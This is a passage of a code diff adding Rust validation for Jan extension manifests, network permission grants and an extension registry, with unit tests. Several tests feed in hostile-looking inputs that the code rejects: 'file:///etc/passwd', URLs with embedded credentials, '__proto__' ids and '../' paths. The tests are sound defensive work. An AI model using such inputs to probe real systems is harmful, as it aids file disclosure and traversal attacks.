provider.get("baseUrl").and_then(Value::as_str) {+ check_provider_url(c, url, &format!("{p}.baseUrl"), permissions);+ }+ }+ if provider.get("apiKeySetting").is_some() && c.string(provider, "apiKeySetting", p, false) {+ let name = provider.get("apiKeySetting").and_then(Value::as_str).unwrap_or("");+ if secret_settings.get(name) != Some(&true) {+ c.fail(+ format!("{p}.apiKeySetting"),+ "must name a secret setting declared in contributes.settings",+ );+ }+ }+ if let Some(capabilities) = provider.get("capabilities") {+ check_capabilities(c, capabilities, &format!("{p}.capabilities"));+ }+ });+}++fn check_capabilities(c: &mut Checker, value: &Value, path: &str) {+ let Some(items) = value.as_array().filter(|a| !a.is_empty()) else {+ c.fail(path, "must be a non-empty array");+ return;+ };+ let mut seen = BTreeSet::new();+ for (i, item) in items.iter().enumerate() {+ let item_path = format!("{path}[{i}]");+ match item.as_str() {+ Some(cap) if MODEL_CAPABILITIES.contains(&cap) => {+ if !seen.insert(cap) {+ c.fail(item_path, format!("duplicates '{cap}'"));+ }+ }+ _ => {+ c.fail(item_path, format!("must be one of {}", MODEL_CAPABILITIES.join(", ")));+ }+ }+ }+}++/// Paths of every user-visible string that may be a `%key%` reference.+fn localizable_strings(jan: &Map<String, Value>) -> Vec<(String, Option<&Value>)> {+ let mut out = vec![+ ("jan.displayName".to_string(), jan.get("displayName")),+ ("jan.description".to_string(), jan.get("description")),+ ];+ let Some(Value::Object(contributes)) = jan.get("contributes") else {+ return out;+ };+ let base = "jan.contributes";+ if let Some(Value::Array(settings)) = contributes.get("settings") {+ for (i, setting) in settings.iter().enumerate() {+ let path = format!("{base}.settings[{i}]");+ out.push((format!("{path}.title"), setting.get("title")));+ out.push((format!("{path}.description"), setting.get("description")));+ let Some(control) = setting.get("control") else {+ continue;+ };+ match control.get("type").and_then(Value::as_str) {+ Some("input") => {+ out.push((format!("{path}.control.placeholder"), control.get("placeholder")));+ }+ Some("dropdown") => {+ let Some(Value::Array(options)) = control.get("options") else {+ continue;+ };+ for (j, option) in options.iter().enumerate() {+ out.push((+ format!("{path}.control.options[{j}].label"),+ option.get("label"),+ ));+ }+ }+ _ => {}+ }+ }+ }+ let lists: &[(&str, &[&str])] = &[+ ("commands", &["title", "category"]),+ ("statusItems", &["text", "tooltip"]),+ ("providers", &["displayName"]),+ ];+ for (list, fields) in lists {+ let Some(Value::Array(items)) = contributes.get(*list) else {+ continue;+ };+ for (i, item) in items.iter().enumerate() {+ for field in *fields {+ out.push((format!("{base}.{list}[{i}].{field}"), item.get(*field)));+ }+ }+ }+ out+}++/// The key of a `%key%` reference, if `value` is one.+fn l10n_ref(value: &str) -> Option<&str> {+ let inner = value.strip_prefix('%')?.strip_suffix('%')?;+ let ok = !inner.is_empty()+ && inner+ .bytes()+ .all(|b| b.is_ascii_alphanumeric() || matches!(b, b'_' | b'.' | b'-'));+ ok.then_some(inner)+}++fn check_l10n(c: &mut Checker, jan: &Map<String, Value>) {+ let l10n = jan.get("l10n");+ if let Some(l10n) = l10n {+ let valid = l10n.as_object().is_some_and(|locales| {+ locales.values().all(|table| {+ table+ .as_object()+ .is_some_and(|t| t.values().all(Value::is_string))+ })+ });+ if !valid {+ c.fail("jan.l10n", "must map locales to tables of strings");+ return;+ }+ }+ let en = l10n+ .and_then(Value::as_object)+ .and_then(|l| l.get("en"))+ .and_then(Value::as_object);+ for (path, value) in localizable_strings(jan) {+ let Some(reference) = value.and_then(Value::as_str).and_then(l10n_ref) else {+ continue;+ };+ if !en.is_some_and(|en| en.contains_key(reference)) {+ c.fail(+ path,+ format!("references '{reference}', which l10n.en does not define"),+ );+ }+ }+}++/// Validates a whole package.json: the `validateManifest` rules, then that+/// `jan.apiVersion` accepts `host_api_version` and that `engines.jan` (when+/// declared) accepts `app_version`. Every problem is reported at once.+pub fn validate(+ pkg: &Value,+ app_version: &str,+ host_api_version: &str,+) -> Result<ValidatedManifest, ManifestErrors> {+ let mut c = Checker::default();+ let Value::Object(obj) = pkg else {+ c.fail("", "package.json must be an object");+ return Err(ManifestErrors(c.errors));+ };+ c.string(obj, "name", "", false);+ if !obj.get("version").and_then(Value::as_str).is_some_and(is_semver) {+ c.fail("version", "must be a semver version");+ }+ let jan_engine = obj+ .get("engines")+ .and_then(Value::as_object)+ .and_then(|e| e.get("jan"));+ if jan_engine.is_some() && !non_empty(jan_engine) {+ c.fail("engines.jan", "must be a version range");+ }++ let Some(Value::Object(jan)) = obj.get("jan") else {+ c.fail("jan", "must be an object");+ return Err(ManifestErrors(c.errors));+ };+ c.known(jan, MANIFEST_KEYS, "jan");+ let id = jan.get("id").and_then(Value::as_str);+ if !id.is_some_and(is_extension_id) {+ c.fail(+ "jan.id",+ "must be '<publisher>.<name>' in lowercase letters, digits and dashes",+ );+ } else if id.is_some_and(is_reserved_id) {+ c.fail(+ "jan.id",+ format!(+ "uses the publisher '{RESERVED_PUBLISHER}', which is reserved for Jan's \+ built-in extensions"+ ),+ );+ }+ c.string(jan, "displayName", "jan", false);+ c.string(jan, "description", "jan", true);+ c.string(jan, "publisher", "jan", false);+ let api_version = jan.get("apiVersion").and_then(Value::as_str);+ match api_version {+ Some(range) if is_caret_range(range) => {+ if !is_api_compatible(range, host_api_version) {+ c.fail(+ "jan.apiVersion",+ format!("'{range}' does not accept the extension API {host_api_version} of this Jan"),+ );+ }+ }+ _ => {+ c.fail("jan.apiVersion", "must be a caret range such as '^1.0.0'");+ }+ }+ check_main(&mut c, jan.get("main"));+ let permissions = check_permissions(&mut c, jan.get("permissions"));+ check_proposals(&mut c, jan.get("proposals"));+ check_contributions(&mut c, jan.get("contributes"), &permissions);+ check_l10n(&mut c, jan);++ let engines_jan = jan_engine.and_then(Value::as_str).map(str::to_string);+ if let Some(range) = engines_jan.as_deref().filter(|r| !r.trim().is_empty()) {+ check_engine(&mut c, range, app_version);+ }++ if !c.errors.is_empty() {+ return Err(ManifestErrors(c.errors));+ }+ let text = |k: &str| jan.get(k).and_then(Value::as_str).unwrap_or_default().to_string();+ let main = text("main");+ Ok(ValidatedManifest {+ id: text("id"),+ name: obj.get("name").and_then(Value::as_str).unwrap_or_default().to_string(),+ version: obj.get("version").and_then(Value::as_str).unwrap_or_default().to_string(),+ display_name: text("displayName"),+ main: main.strip_prefix("./").unwrap_or(&main).to_string(),+ permissions,+ engines_jan,+ package: pkg.clone(),+ })+}++fn check_engine(c: &mut Checker, range: &str, app_version: &str) {+ let Ok(req) = semver::VersionReq::parse(range) else {+ c.fail("engines.jan", format!("'{range}' is not a version range Jan can read"));+ return;+ };+ // A development or nightly build carries a prerelease or build suffix;+ // compare its release triple so `>=0.9.0` accepts `0.9.0-nightly.3`.+ let release = semver::Version::parse(app_version)+ .map(|v| semver::Version::new(v.major, v.minor, v.patch));+ match release {+ Ok(version) if req.matches(&version) => {}+ Ok(_) => {+ c.fail(+ "engines.jan",+ format!("needs Jan {range}, and this is Jan {app_version}"),+ );+ }+ Err(_) => {+ c.fail(+ "engines.jan",+ format!("cannot be checked against this Jan's version '{app_version}'"),+ );+ }+ }+}++/// Checks that `main` (as normalised by [`validate`]) names a regular file+/// of at most [`MAX_MAIN_BYTES`] inside `package_root`, and returns its path.+pub fn check_main_file(package_root: &Path, main: &str) -> Result<PathBuf, ManifestErrors> {+ let fail = |message: &str| {+ Err(ManifestErrors(vec![ManifestIssue {+ path: "jan.main".into(),+ message: message.into(),+ }]))+ };+ let mut path = package_root.to_path_buf();+ for part in main.split('/') {+ if part.is_empty() || part == "." || part == ".." || part.contains(['\\', ':']) {+ return fail("must be a relative path inside the package");+ }+ path.push(part);+ }+ // symlink_metadata: a link is never followed out of the package. The+ // extractor writes none, so this only matters for a tampered install.+ match std::fs::symlink_metadata(&path) {+ Ok(meta) if !meta.file_type().is_file() => fail("must name a regular file in the package"),+ Ok(meta) if meta.len() > MAX_MAIN_BYTES => fail("must be at most 5 MiB"),+ Ok(_) => Ok(path),+ Err(_) => fail("names a file the package does not contain"),+ }+}++/// [`validate`] followed by [`check_main_file`] against the extracted package.+pub fn validate_package(+ package_root: &Path,+ pkg: &Value,+ app_version: &str,+ host_api_version: &str,+) -> Result<ValidatedManifest, ManifestErrors> {+ let manifest = validate(pkg, app_version, host_api_version)?;+ check_main_file(package_root, &manifest.main)?;+ Ok(manifest)+}++#[cfg(test)]+mod tests {+ use super::*;+ use serde_json::json;++ fn sample() -> Value {+ json!({+ "name": "@acme/hello",+ "version": "0.1.0",+ "engines": { "jan": ">=0.8.0" },+ "jan": {+ "id": "acme.hello",+ "displayName": "%name%",+ "publisher": "Acme",+ "apiVersion": "^1.0.0",+ "main": "./dist/index.js",+ "permissions": ["ui:notify", "tools", "providers", "network:127.0.0.1"],+ "contributes": {+ "settings": [+ { "key": "key", "title": "Key", "secret": true,+ "control": { "type": "input", "default": "" } },+ { "key": "level", "title": "Level",+ "control": { "type": "slider", "min": 0, "max": 10, "step": 1, "default": 5 } },+ { "key": "mode", "title": "Mode",+ "control": { "type": "dropdown", "options": [{ "value": "a", "label": "A" }], "default": "a" } }+ ],+ "commands": [{ "id": "hello.greet", "title": "Greet" }],+ "menus": { "commandPalette": [{ "command": "hello.greet", "when": "always" }] },+ "statusItems": [{ "id": "hello.status", "text": "Hi", "command": "hello.greet" }],+ "tools": [{ "name": "echo_upper", "description": "d", "inputSchema": { "type": "object" } }],+ "providers": [{ "id": "local", "displayName": "Local",+ "baseUrl": "http://127.0.0.1:11999/v1", "apiKeySetting": "key" }]+ },+ "l10n": { "en": { "name": "Hello" } }+ }+ })+ }++ fn paths(pkg: &Value) -> Vec<String> {+ match validate(pkg, "0.8.5", HOST_API_VERSION) {+ Ok(_) => Vec::new(),+ Err(ManifestErrors(errors)) => errors.into_iter().map(|e| e.path).collect(),+ }+ }++ #[test]+ fn accepts_a_complete_manifest() {+ let m = validate(&sample(), "0.8.5", HOST_API_VERSION).unwrap();+ assert_eq!(m.id, "acme.hello");+ assert_eq!(m.main, "dist/index.js");+ assert_eq!(m.version, "0.1.0");+ assert_eq!(m.permissions.len(), 4);+ assert_eq!(m.engines_jan.as_deref(), Some(">=0.8.0"));+ }++ #[test]+ fn id_grammar() {+ for good in ["acme.hello", "a1.b-2", "jan-samples.hello-provider"] {+ assert!(is_extension_id(good), "{good}");+ }+ for bad in ["acme", "a.hello", "Acme.hello", "-a.hello", "acme.hello.x", "acme._x", ""] {+ assert!(!is_extension_id(bad), "{bad}");+ }+ }++ #[test]+ fn id_parts_cannot_be_windows_device_names() {+ for bad in ["con.ab", "nul.xx", "aux.zz", "prn.hello", "acme.com1", "lpt9.hello", "acme.nul"] {+ assert!(!is_extension_id(bad), "{bad}");+ }+ for good in ["cons.ab", "acme.com10", "acme.nul-x", "conx.hello"] {+ assert!(is_extension_id(good), "{good}");+ }+ }++ #[test]+ fn the_jan_publisher_is_reserved() {+ for reserved in ["jan.hello", "jan.llamacpp"] {+ assert!(is_reserved_id(reserved), "{reserved}");+ let mut pkg = sample();+ pkg["jan"]["id"] = json!(reserved);+ let Err(ManifestErrors(errors)) = validate(&pkg, "0.8.5", HOST_API_VERSION) else {+ panic!("{reserved} was accepted");+ };+ assert_eq!(errors.len(), 1);+ assert_eq!(errors[0].path, "jan.id");+ assert!(errors[0].message.contains("reserved"), "{}", errors[0].message);+ }+ for free in ["acme.hello", "jan-samples.hello", "janx.hello", "acme.jan"] {+ assert!(!is_reserved_id(free), "{free}");+ }+ }++ #[test]+ fn contribution_id_grammar() {+ assert!(is_contribution_id("constructor"));+ assert!(is_contribution_id("a.b_c-d"));+ assert!(!is_contribution_id("__proto__"));+ assert!(!is_contribution_id(""));+ assert!(!is_contribution_id(&"a".repeat(65)));+ assert!(!is_contribution_id("a b"));+ }++ #[test]+ fn semver_and_caret() {+ assert!(is_semver("1.2.3"));+ assert!(is_semver("1.2.3-beta.1+build.5"));+ assert!(!is_semver("01.2.3"));+ assert!(!is_semver("1.2"));+ assert!(!is_semver("1.2.3-"));+ assert!(is_caret_range("^0.1.0"));+ assert!(!is_caret_range("~0.1.0"));+ assert!(!is_caret_range(">=0.1.0"));+ assert!(is_api_compatible("^0.1.0", "0.1.5"));+ assert!(!is_api_compatible("^0.1.0", "0.2.0"));+ assert!(!is_api_compatible("^0.1.2", "0.1.1"));+ assert!(is_api_compatible("^1.2.0", "1.9.0"));+ assert!(!is_api_compatible("^1.2.0", "2.0.0"));+ assert!(is_api_compatible("^0.0.3", "0.0.3"));+ assert!(!is_api_compatible("^0.0.3", "0.0.4"));+ }++ #[test]+ fn rejects_unknown_fields_at_every_level() {+ let mut pkg = sample();+ pkg["jan"]["scripts"] = json!({});+ pkg["jan"]["contributes"]["commands"][0]["run"] = json!("x");+ pkg["jan"]["contributes"]["settings"][0]["control"]["extra"] = json!(1);+ assert_eq!(+ paths(&pkg),+ vec![+ "jan.scripts",+ "jan.contributes.settings[0].control.extra",+ "jan.contributes.commands[0].run",+ ]+ );+ }++ #[test]+ fn main_path_rules() {+ for (main, ok) in [+ ("dist/index.js", true),+ ("./index.js", true),+ ("/abs.js", false),+ ("../x.js", false),+ ("a/./b.js", false),+ ("C:\\x.js", false),+ ("c:/x.js", false),+ ("dist/index.mjs", false),+ ("", false),+ ] {+ let mut pkg = sample();+ pkg["jan"]["main"] = json!(main);+ assert_eq!(paths(&pkg).is_empty(), ok, "{main}");+ }+ }++ #[test]+ fn permission_strings() {+ let mut pkg = sample();+ pkg["jan"]["permissions"] = json!([+ "ui:notify", "network:*.example.com", "network:*", "ui:notify",+ "network:Example.com", "network:a.com:443", "fs:read", "tools", "providers",+ "network:127.0.0.1"+ ]);+ assert_eq!(+ paths(&pkg),+ vec!["jan.permissions[3]", "jan.permissions[4]", "jan.permissions[5]", "jan.permissions[6]"]+ );+ }++ #[test]+ fn commands_execute_is_not_a_permission() {+ let mut pkg = sample();+ pkg["jan"]["permissions"] = json!(["ui:notify", "tools", "providers", "network:127.0.0.1", "commands:execute"]);+ assert_eq!(paths(&pkg), vec!["jan.permissions[4]"]);+ }++ #[test]+ fn contribution_rules() {+ let mut pkg = sample();+ pkg["jan"]["contributes"]["commands"] = json!([+ { "id": "__proto__", "title": "x" },+ { "id": "a", "title": "x" },+ { "id": "a", "title": "y" }+ ]);+ pkg["jan"]["contributes"]["menus"] = json!({+ "nowhere": [],+ "commandPalette": [{ "command": "missing", "when": "sometimes" }]+ });+ pkg["jan"]["contributes"]["statusItems"][0]["command"] = json!("a");+ // Object key order depends on serde_json's preserve_order feature,+ // which the app build may unify on, so compare as a set.+ let mut found = paths(&pkg);+ found.sort();+ assert_eq!(+ found,+ vec![+ "jan.contributes.commands[0].id",+ "jan.contributes.commands[2].id",+ "jan.contributes.menus.commandPalette[0].command",+ "jan.contributes.menus.commandPalette[0].when",+ "jan.contributes.menus.nowhere",+ ]+ );+ }++ #[test]+ fn tools_and_providers_need_their_permissions_and_grants() {+ let mut pkg = sample();+ pkg["jan"]["permissions"] = json!(["ui:notify"]);+ pkg["jan"]["contributes"]["providers"][0]["apiKeySetting"] = json!("level");+ assert_eq!(+ paths(&pkg),+ vec![+ "jan.contributes.tools",+ "jan.contributes.providers",+ "jan.contributes.providers[0].baseUrl",+ "jan.contributes.providers[0].apiKeySetting",+ ]+ );+ let mut pkg = sample();+ pkg["jan"]["contributes"]["providers"][0]["baseUrl"] = json!("http://example.com/v1");+ assert_eq!(paths(&pkg), vec!["jan.contributes.providers[0].baseUrl"]);+ }++ #[test]+ fn provider_capabilities() {+ let mut pkg = sample();+ pkg["jan"]["contributes"]["providers"][0]["capabilities"] = json!(["completion", "tools"]);+ assert!(paths(&pkg).is_empty());+ for (bad, path) in [+ (json!(["tools", "teleport"]), "jan.contributes.providers[0].capabilities[1]"),+ (json!(["tools", "tools"]), "jan.contributes.providers[0].capabilities[1]"),+ (json!([]), "jan.contributes.providers[0].capabilities"),+ (json!("tools"), "jan.contributes.providers[0].capabilities"),+ ] {+ pkg["jan"]["contributes"]["providers"][0]["capabilities"] = bad.clone();+ assert_eq!(paths(&pkg), vec![path], "{bad}");+ }+ }++ #[test]+ fn setting_controls() {+ let mut pkg = sample();+ pkg["jan"]["contributes"]["settings"] = json!([+ { "key": "a", "title": "A", "control": { "type": "slider", "min": 5, "max": 1, "step": 1, "default": 2 } },+ { "key": "b", "title": "B", "control": { "type": "dropdown", "options": [{ "value": "x", "label": "X" }], "default": "y" } },+ { "key": "c", "title": "C", "secret": true, "control": { "type": "checkbox", "default": true } },+ { "key": "c", "title": "D", "control": { "type": "wheel", "default": 1 } }+ ]);+ pkg["jan"]["contributes"]["providers"][0]+ .as_object_mut()+ .unwrap()+ .remove("apiKeySetting");+ assert_eq!(+ paths(&pkg),+ vec![+ "jan.contributes.settings[0].control",+ "jan.contributes.settings[1].control.default",+ "jan.contributes.settings[2].secret",+ "jan.contributes.settings[3].key",+ "jan.contributes.settings[3].control.type",+ ]+ );+ }++ #[test]+ fn l10n_references_must_resolve() {+ let mut pkg = sample();+ pkg["jan"]["l10n"] = json!({ "fr": { "name": "Bonjour" } });+ assert_eq!(paths(&pkg), vec!["jan.displayName"]);+ pkg["jan"]["l10n"] = json!({ "en": { "name": 1 } });+ assert_eq!(paths(&pkg), vec!["jan.l10n"]);+ }++ #[test]+ fn l10n_checks_setting_placeholders_and_dropdown_labels() {+ let mut pkg = sample();+ pkg["jan"]["l10n"] = json!({ "en": { "name": "Hello", "greet": "Hi" } });+ let settings = &mut pkg["jan"]["contributes"]["settings"];+ settings[0]["control"] = json!({ "type": "input", "placeholder": "%hint%", "default": "" });+ settings[2]["control"] = json!({+ "type": "dropdown",+ "options": [{ "value": "a", "label": "%greet%" }, { "value": "b", "label": "%b%" }],+ "default": "a"+ });+ assert_eq!(+ paths(&pkg),+ vec![+ "jan.contributes.settings[0].control.placeholder",+ "jan.contributes.settings[2].control.options[1].label",+ ]+ );+ }++ #[test]+ fn host_compatibility() {+ let mut pkg = sample();+ pkg["jan"]["apiVersion"] = json!("^0.2.0");+ pkg["engines"]["jan"] = json!(">=0.9.0");+ assert_eq!(paths(&pkg), vec!["jan.apiVersion", "engines.jan"]);+ // A nightly of the required release is accepted.+ assert!(validate(&sample(), "0.8.0-nightly.3", HOST_API_VERSION).is_ok());+ }++ #[test]+ fn keys_outside_identifier_grammar_are_bracketed() {+ let mut pkg = sample();+ pkg["jan"]["contributes"]["menus"] = json!({ "message/oops": [] });+ assert_eq!(paths(&pkg), vec!["jan.contributes.menus['message/oops']"]);+ }++ #[test]+ fn main_file_must_exist_and_be_small() {+ let dir = tempfile::tempdir().unwrap();+ std::fs::create_dir_all(dir.path().join("dist")).unwrap();+ std::fs::write(dir.path().join("dist/index.js"), "var JanExtension = {}").unwrap();+ assert!(check_main_file(dir.path(), "dist/index.js").is_ok());+ assert!(check_main_file(dir.path(), "dist/missing.js").is_err());+ assert!(check_main_file(dir.path(), "dist").is_err());+ let big = vec![b' '; (MAX_MAIN_BYTES + 1) as usize];+ std::fs::write(dir.path().join("big.js"), big).unwrap();+ assert!(check_main_file(dir.path(), "big.js").is_err());+ }+}diff --git a/src-tauri/plugins/tauri-plugin-extensions/src/permissions.rs b/src-tauri/plugins/tauri-plugin-extensions/src/permissions.rsnew file mode 100644index 000000000..a1dd290f4--- /dev/null+++ b/src-tauri/plugins/tauri-plugin-extensions/src/permissions.rs@@ -0,0 +1,156 @@+//! Permission strings and the network rule, mirroring `permissions.ts` in+//! `@janhq/extension-api` and `matchesNetwork` in the web-app dispatcher.++use url::Url;++const FIXED_PERMISSIONS: &[&str] = &[+ "ui:notify",+ "providers",+ "tools",+ "conversations:read",+ "conversations:write",+ "chat:hooks",+];++const NETWORK_PREFIX: &str = "network:";++fn is_label(label: &str) -> bool {+ let bytes = label.as_bytes();+ !bytes.is_empty()+ && bytes+ .iter()+ .all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || *b == b'-')+ && bytes[0] != b'-'+ && bytes[bytes.len() - 1] != b'-'+}++/// A host grant usable after `network:`: `*`, an exact lowercase host or a+/// subdomain wildcard `*.example.com`. No scheme, port or path.+pub fn is_network_host(host: &str) -> bool {+ if host == "*" {+ return true;+ }+ let rest = host.strip_prefix("*.").unwrap_or(host);+ rest.split('.').all(is_label)+}++/// Whether `value` is a well-formed permission string.+pub fn is_permission_string(value: &str) -> bool {+ match value.strip_prefix(NETWORK_PREFIX) {+ Some(host) => is_network_host(host),+ None => FIXED_PERMISSIONS.contains(&value),+ }+}++/// The host part of a `network:<host>` permission.+pub fn network_host_of(permission: &str) -> Option<&str> {+ permission.strip_prefix(NETWORK_PREFIX)+}++/// Whether the host grant covers the URL host. `*.example.com` covers+/// subdomains only, never the apex.+pub fn network_host_matches(grant: &str, host: &str) -> bool {+ if grant == "*" {+ return true;+ }+ if let Some(suffix) = grant.strip_prefix('*') {+ return host.ends_with(suffix) && host.len() > suffix.len();+ }+ grant == host+}++/// Hosts reachable over plain http; everything else must use https.+pub fn is_local_host(host: &str) -> bool {+ host == "localhost" || host == "127.0.0.1"+}++/// `matchesNetwork`: whether `grant` lets an extension reach `url`. https+/// only, http for localhost/127.0.0.1; no credentials in the URL; nothing+/// reaches Jan's own local API server port on a local host, whatever the+/// grant, because that server proxies with the user's provider keys.+pub fn matches_network(grant: &str, url: &Url, local_api_port: Option<u16>) -> bool {+ let Some(host_grant) = network_host_of(grant) else {+ return false;+ };+ if !url.username().is_empty() || url.password().is_some() {+ return false;+ }+ let Some(host) = url.host_str() else {+ return false;+ };+ let scheme = url.scheme();+ if scheme != "https" && !(scheme == "http" && is_local_host(host)) {+ return false;+ }+ if let (Some(port), true) = (local_api_port, is_local_host(host)) {+ if url.port_or_known_default() == Some(port) {+ return false;+ }+ }+ network_host_matches(host_grant, host)+}++/// Whether any of `granted` lets an extension reach `url`.+pub fn url_allowed(granted: &[String], url: &Url, local_api_port: Option<u16>) -> bool {+ granted+ .iter()+ .any(|g| matches_network(g, url, local_api_port))+}++#[cfg(test)]+mod tests {+ use super::*;++ fn allowed(grant: &str, url: &str, port: Option<u16>) -> bool {+ matches_network(grant, &Url::parse(url).unwrap(), port)+ }++ #[test]+ fn permission_grammar() {+ for good in [+ "ui:notify",+ "network:*",+ "network:*.example.com",+ "network:api.example.com",+ "network:127.0.0.1",+ "network:localhost",+ ] {+ assert!(is_permission_string(good), "{good}");+ }+ for bad in [+ "network:",+ "network:Example.com",+ "network:a.com:443",+ "network:https://a.com",+ "network:-a.com",+ "network:a..com",+ "network:*.*.a.com",+ "fs:read",+ "",+ ] {+ assert!(!is_permission_string(bad), "{bad}");+ }+ }++ #[test]+ fn host_matching() {+ assert!(network_host_matches("*.example.com", "api.example.com"));+ assert!(!network_host_matches("*.example.com", "example.com"));+ assert!(!network_host_matches("*.example.com", "badexample.com"));+ assert!(network_host_matches("api.example.com", "api.example.com"));+ assert!(network_host_matches("*", "anything"));+ }++ #[test]+ fn scheme_credentials_and_local_port() {+ assert!(allowed("network:a.com", "https://a.com/x", None));+ assert!(!allowed("network:a.com", "http://a.com/x", None));+ assert!(allowed("network:127.0.0.1", "http://127.0.0.1:8080/", Some(1337)));+ assert!(!allowed("network:127.0.0.1", "http://127.0.0.1:1337/", Some(1337)));+ assert!(!allowed("network:*", "http://localhost:1337/v1", Some(1337)));+ assert!(!allowed("network:localhost", "http://localhost/", Some(80)));+ assert!(!allowed("network:a.com", "https://u:[email protected]/", None));+ assert!(!allowed("ui:notify", "https://a.com/", None));+ assert!(!allowed("network:*", "file:///etc/passwd", None));+ }+}diff --git a/src-tauri/plugins/tauri-plugin-extensions/src/registry.rs b/src-tauri/plugins/tauri-plugin-extensions/src/registry.rsnew file mode 100644index 000000000..d38739a6e--- /dev/null+++ b/src-tauri/plugins/tauri-plugin-extensions/src/registry.rs@@ -0,0 +1,374 @@+//! `<root>/extensions.json`: what is installed, from where, with which+//! grants. Written atomically; a file that cannot be read back is moved+//! aside to `extensions.json.corrupt-<ts>` and an empty registry is used, so+//! a damaged file never blocks the app and is never silently overwritten.++use std::collections::BTreeMap;+use std::fs;+use std::path::{Path, PathBuf};++use serde::{Deserialize, Serialize};++use crate::error::StoreError;+use crate::manifest::{is_extension_id, is_semver};+use crate::store::{unix_now, write_json_atomic};++/// File name of the registry inside the extensions root.+pub const REGISTRY_FILE: &str = "extensions.json";+/// The only schema this build reads and writes.+pub const SCHEMA: u32 = 1;+/// Where Jan before runtime extensions unpacked its bundled `@janhq/*`+/// extensions. No extension id can start with `@`, so nothing installed+/// now lives there.+pub const LEGACY_SCOPE_DIR: &str = "@janhq";++/// Where an installed version came from.+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]+#[serde(tag = "kind", rename_all = "camelCase")]+pub enum Source {+ /// A local `.tgz` the user picked.+ #[serde(rename_all = "camelCase")]+ Bundle {+ /// The file name only, never the full path.+ file_name: String,+ /// SRI of the tarball as read.+ sha512: String,+ },+ /// A tarball listed in a user-added index source.+ #[serde(rename_all = "camelCase")]+ Index {+ /// The source's id in `sources.json`.+ source_id: String,+ /// The source's name when installed, for "From <source name>".+ source_name: String,+ /// The index URL.+ url: String,+ /// The tarball URL.+ tarball: String,+ /// The SRI the index pinned and the download matched.+ integrity: String,+ },+}++/// What is recorded about one installed version.+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]+#[serde(rename_all = "camelCase")]+pub struct VersionRecord {+ /// Where it came from.+ pub source: Source,+ /// From a source with a pinned key whose index signature verified, and+ /// integrity checked against the SRI that index pinned.+ pub verified: bool,+ /// The tarball matched a pinned SRI (index installs).+ #[serde(default)]+ pub integrity_checked: bool,+ /// `jan.main`, relative to the version directory.+ pub main: String,+ /// The permissions the manifest of this version requests.+ pub permissions: Vec<String>,+ /// SRI of the entry file at install time; `read_entry` refuses on change.+ pub entry_sha512: String,+ /// RFC 3339 UTC.+ pub installed_at: String,+}++/// One installed extension. The active version's record is flattened into+/// the entry, so the file reads as the data layout in the spec; the version+/// kept for rollback has its own record.+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]+#[serde(rename_all = "camelCase")]+pub struct Entry {+ /// Whether the extension is loaded.+ pub enabled: bool,+ /// The installed version that runs.+ pub active: String,+ /// The version kept for rollback.+ #[serde(default, skip_serializing_if = "Option::is_none")]+ pub previous: Option<String>,+ /// What the user granted; always a subset of the active permissions.+ pub granted: Vec<String>,+ /// The active version.+ #[serde(flatten)]+ pub current: VersionRecord,+ /// The record of `previous`.+ #[serde(default, skip_serializing_if = "Option::is_none")]+ pub previous_record: Option<VersionRecord>,+}++/// The whole registry file.+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]+#[serde(rename_all = "camelCase")]+pub struct Registry {+ /// Always [`SCHEMA`].+ pub schema: u32,+ /// No installed extension runs while set.+ #[serde(default)]+ pub safe_mode: bool,+ /// Keyed by extension id.+ #[serde(default)]+ pub extensions: BTreeMap<String, Entry>,+}++impl Default for Registry {+ fn default() -> Self {+ Registry {+ schema: SCHEMA,+ safe_mode: false,+ extensions: BTreeMap::new(),+ }+ }+}++impl Registry {+ /// Every id is an extension id and every version a semver version, so+ /// nothing read from the file can name a path outside its directory.+ fn is_sane(&self) -> bool {+ self.schema == SCHEMA+ && self.extensions.iter().all(|(id, e)| {+ is_extension_id(id)+ && is_semver(&e.active)+ && e.previous.as_deref().map_or(true, is_semver)+ && e.previous.is_some() == e.previous_record.is_some()+ })+ }+}++/// The result of [`load`].+#[derive(Debug, Clone, PartialEq)]+pub struct Loaded {+ /// The registry, empty when there was none or it was unreadable.+ pub registry: Registry,+ /// Where an unreadable file was moved, for the UI to report.+ pub recovered_from: Option<PathBuf>,+}++/// Path of the registry in `root`.+pub fn path(root: &Path) -> PathBuf {+ root.join(REGISTRY_FILE)+}++/// Reads the registry in `root`. A missing file is an empty registry; an+/// unreadable one (bad JSON, unknown schema, unsafe ids) is renamed to+/// `extensions.json.corrupt-<unix secs>` and an empty registry returned.+pub fn load(root: &Path) -> Result<Loaded, StoreError> {+ let file = path(root);+ let bytes = match fs::read(&file) {+ Ok(bytes) => bytes,+ Err(e) if e.kind() == std::io::ErrorKind::NotFound => {+ return Ok(Loaded {+ registry: Registry::default(),+ recovered_from: None,+ })+ }+ Err(e) => return Err(e.into()),+ };+ match serde_json::from_slice::<Registry>(&bytes) {+ Ok(registry) if registry.is_sane() => Ok(Loaded {+ registry,+ recovered_from: None,+ }),+ _ => {+ let aside = move_aside(&file)?;+ log::error!(+ "extensions registry {} is unreadable; moved to {} and starting empty",+ file.display(),+ aside.display()+ );+ Ok(Loaded {+ registry: Registry::default(),+ recovered_from: Some(aside),+ })+ }+ }+}++/// Removes what Jan before runtime extensions left in `root`: a registry+/// that is a JSON array (it only ever listed the bundled built-ins, which+/// are now part of the app) and the `@janhq/` folders they were unpacked+/// to. Run before [`load`], so an upgrade is not reported as a corrupt file.+pub fn remove_legacy(root: &Path) {+ let file = path(root);+ let is_legacy = fs::read(&file)+ .ok()+ .and_then(|bytes| serde_json::from_slice::<serde_json::Value>(&bytes).ok())+ .is_some_and(|value| value.is_array());+ if is_legacy {+ match fs::remove_file(&file) {+ Ok(()) => log::info!("removed the pre-runtime extensions list {}", file.display()),+ Err(e) => log::warn!("cannot remove {}: {e}", file.display()),+ }+ }+ // Not tied to `is_legacy`: an upgrade interrupted after the list was+ // removed must still lose the folder, and nothing else writes there,+ // since `is_extension_id` never allows a '@' and every install lives+ // under its id.+ let scope = root.join(LEGACY_SCOPE_DIR);+ match fs::remove_dir_all(&scope) {+ Ok(()) => log::info!("removed the pre-runtime extensions folder {}", scope.display()),+ Err(e) if e.kind() == std::io::ErrorKind::NotFound => {}+ Err(e) => log::warn!("cannot remove {}: {e}", scope.display()),+ }+}++/// Renames a corrupt file to `<name>.corrupt-<ts>`, adding a counter if 